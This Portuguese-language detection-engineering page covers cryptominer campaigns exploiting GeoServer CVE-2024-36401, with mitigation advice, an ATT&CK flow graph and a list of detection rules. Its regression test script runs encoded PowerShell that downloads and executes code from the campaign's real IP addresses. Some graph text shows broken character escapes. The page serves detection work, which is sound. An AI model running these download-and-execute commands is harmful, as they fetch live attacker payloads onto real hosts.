GeoServer Sob Ataque: Campanhas de Malware de Mineração de Criptomoedas
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Atores de ameaça estão explorando a falha de execução remota de código do GeoServer CVE-2024-36401 para implantar mineradores de criptomoedas e NetCat em servidores não corrigidos. A atividade depende de PowerShell, Bash e certutil para baixar e lançar o XMRig a partir de múltiplos domínios e endereços IP maliciosos. Vários scripts de downloader e droppers são usados, comumente empacotados em arquivos ZIP e mantidos como serviços através de NSSM. O objetivo principal é capturar recursos computacionais para mineração não autorizada.
Investigação
O relatório descreve três variantes (A, B, C) que usam PowerShell codificado, buscadores baseados em Bash e certutil para recuperar cargas de mineradores de pool.supportxmr.com e múltiplos subdomínios aaaaaaaaa.cyou. Os mecanismos de entrega incluem scripts em lote, pacotes ZIP e um downloader personalizado chamado systemd, junto com credenciais de autenticação HTTP Basic. Analistas extraíram indicadores-chave—URLs, endereços IP e nomes de arquivos—para apoiar a detecção e o escopo.
Mitigação
Aplique patches do GeoServer que abordam o CVE-2024-36401 e mantenha as implantações na última versão suportada. Bloqueie conexões de saída para pools de mineração conhecidos e infraestrutura relacionada, e monitore execuções suspeitas de PowerShell ou Bash codificados. Limite o uso de certutil para contextos não-administrativos e implemente lista de permissões de aplicativos para evitar serviços não autorizados instalados via NSSM.
Resposta
Implemente detecções para as linhas de comando observadas, hashes e indicadores de rede. Isolar hosts afetados, erradicar serviços de mineradores e artefatos de persistência e realizar uma varredura forense para qualquer carga secundária. Rotacione credenciais expostas e exija autenticação multifator para acesso administrativo.
“graph TB %% Class definitions classDef action fill:#ffcc99 %% Action/Technique nodes classDef builtin fill:#e0e0e0 %% Tool and builtu2011in utility nodes classDef malware fill:#ff9999 %% Malware nodes %% Node definitions tech_initial_access[“<b>Técnica</b> – <b>T1210 Exploração de Serviços Remotos</b><br/>Descrição: Explorar CVEu20112024u201136401 no GeoServer para execução remota de código”] class tech_initial_access action tool_geoserver[“<b>Ferramenta</b> – <b>Nome</b>: GeoServer<br/><b>Vulnerabilidade</b>: CVEu20112024u201136401”] class tool_geoserver builtin tech_execution_ps[“<b>Técnica</b> – <b>T1059.001 PowerShell</b><br/>Descrição: Executar comandos PowerShell codificados para baixar e iniciar scripts maliciosos”] class tech_execution_ps action tool_powershell[“<b>Ferramenta</b> – <b>Nome</b>: PowerShell”] class tool_powershell builtin tech_obfuscation[“<b>Técnica</b> – <b>T1027 Arquivos ou Informações Ofuscadas</b><br/>Descrição: Codificar em Base64 cargas úteis entregues via certutil e Bash”] class tech_obfuscation action tool_certutil[“<b>Ferramenta</b> – <b>Nome</b>: certutil”] class tool_certutil builtin tool_bash[“<b>Ferramenta</b> – <b>Nome</b>: Bash”] class tool_bash builtin tech_deobfuscation[“<b>Técnica</b> – <b>T1140 Desofuscar/Decodificar Arquivos ou Informações</b><br/>Descrição: Decodificar cargas úteis Base64 no host antes da execução”] class tech_deobfuscation action tech_defense_evasion[“<b>Técnica</b> – <b>T1562 Prejudicar Defesas</b><br/>Descrição: Desativar o Windows Defender e adicionar exclusões de arquivos/caminhos”] class tech_defense_evasion action tool_windows_defender[“<b>Ferramenta</b> – <b>Nome</b>: Windows Defender”] class tool_windows_defender builtin tech_persistence[“<b>Técnica</b> – <b>T1543.002 Criar ou Modificar Processo de Sistema: Serviço Systemd</b><br/>Descrição: Usar NSSM para instalar XMRig como um serviço persistente”] class tech_persistence action tool_nssm[“<b>Ferramenta</b> – <b>Nome</b>: NSSM (Nonu2011Sucking Service Manager)”] class tool_nssm builtin malware_xmrig[“<b>Malware</b> – <b>Nome</b>: XMRig<br/><b>Propósito</b>: Mineração de criptomoedas”] class malware_xmrig malware tech_impact[“<b>Técnica</b> – <b>T1496.001 Sequestro de Computação</b><br/>Descrição: Sequestrar ciclos de CPU para minerar criptomoedas”] class tech_impact action tech_indirect_execution[“<b>Técnica</b> – <b>T1202 Execução de Comando Indireto</b><br/>Descrição: PowerShell lança scripts adicionais via Bash e Netcat”] class tech_indirect_execution action tool_netcat[“<b>Ferramenta</b> – <b>Nome</b>: Netcat”] class tool_netcat builtin %% Connections tool_geoserver u002du002d>|explorado para| tech_initial_access tech_initial_access u002du002d>|habilita| tech_execution_ps tech_execution_ps u002du002d>|usa| tool_powershell tech_execution_ps u002du002d>|baixa via| tool_certutil tech_execution_ps u002du002d>|invoca| tool_bash tech_execution_ps u002du002d>|invoca| tool_netcat tool_certutil u002du002d>|entrega cargas úteis codificadas para| tech_obfuscation tool_bash u002du002d>|executa cargas úteis codificadas para| tech_obfuscation tech_obfuscation u002du002d>|requer| tech_deobfuscation tech_deobfuscation u002du002d>|prepara ambiente para| tech_defense_evasion tech_defense_evasion u002du002d>|desativa| tool_windows_defender tech_defense_evasion u002du002d>|leva a| tech_persistence tech_persistence u002du002d>|usa| tool_nssm tool_nssm u002du002d>|instala| malware_xmrig malware_xmrig u002du002d>|realiza| tech_impact tech_execution_ps u002du002d>|aciona| tech_indirect_execution tech_indirect_execution u002du002d>|usa| tool_bash tech_indirect_execution u002du002d>|usa| tool_netcat tech_indirect_execution u002du002d>|facilita| malware_xmrig “
Fluxo de Ataque
Detecções
Desativando Proteções do Windows Defender (via registry_event)
Visualizar
Alterações Suspeitas nas Preferências do Windows Defender (via powershell)
Visualizar
Possíveis Pontos de Persistência [ASEPs – Software/NTUSER Hive] (via registry_event)
Visualizar
Schtasks Apontando para Diretório/Binário/Script Suspeito (via cmdline)
Visualizar
Arquivos Suspeitos no Perfil de Usuário Público (via file_event)
Visualizar
Download ou Upload via Powershell (via cmdline)
Visualizar
IOCs (SourceIP) para detectar: Casos de Ataque de Minerador de Moeda Maliciosa Alvejando GeoServer
Visualizar
IOCs (DestinationIP) para detectar: Casos de Ataque de Minerador de Moeda Maliciosa Alvejando GeoServer
Visualizar
IOCs (HashMd5) para detectar: Casos de Ataque de Minerador de Moeda Maliciosa Alvejando GeoServer
Visualizar
Detectar Uso de Certutil para Download de Carga Maliciosa Explorando Vulnerabilidades do GeoServer [Criação de Processo no Windows]
Visualizar
Detectar Comandos de PowerShell Codificados Alvejando Vulnerabilidades do GeoServer [Windows Powershell]
Visualizar
Execução de Simulação
Pré-requisito: A Verificação Prévia de Telemetria & Baseline deve ter sido aprovada.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa de Ataque & Comandos:
Um atacante obteve uma carga maliciosa em Base64 que faz o download de um arquivo de configuração vulnerável do GeoServer, executa-o, e então instala um minerador de criptomoedas. Para evadir a detecção simples de bloqueio de script, o atacante usa o-encswitch com uma string pré-codificada (uma das duas IOCs conhecidas). O atacante executa a carga localmente em um host Windows comprometido, causando umapowershell.execriação de processo que inclui exatamente a string Base64 que a regra monitora. -
Script de Teste de Regressão:
# ------------------------------------------------- # Script de regressão para acionar a regra Sigma # ------------------------------------------------- # Carga 1 (corresponde ao primeiro IOC) $b64_1 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMjIwLjg0LjEwNy42OS9qcy9ndy50eHQnKQA=' powershell.exe -enc $b64_1 # Carga 2 (corresponde ao segundo IOC) $b64_2 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8xMTkuMTk0LjE1My4zMTo4MDgwL2ljb24vanMvd2kudHh0Jyk=' powershell.exe -enc $b64_2 -
Comandos de Limpeza:
# ------------------------------------------------- # Limpeza – terminar quaisquer cargas de PowerShell remanescentes # ------------------------------------------------- Get-Process -Name powershell -ErrorAction SilentlyContinue | Where-Object { $_.StartInfo.Arguments -match '-enc' } | Stop-Process -Force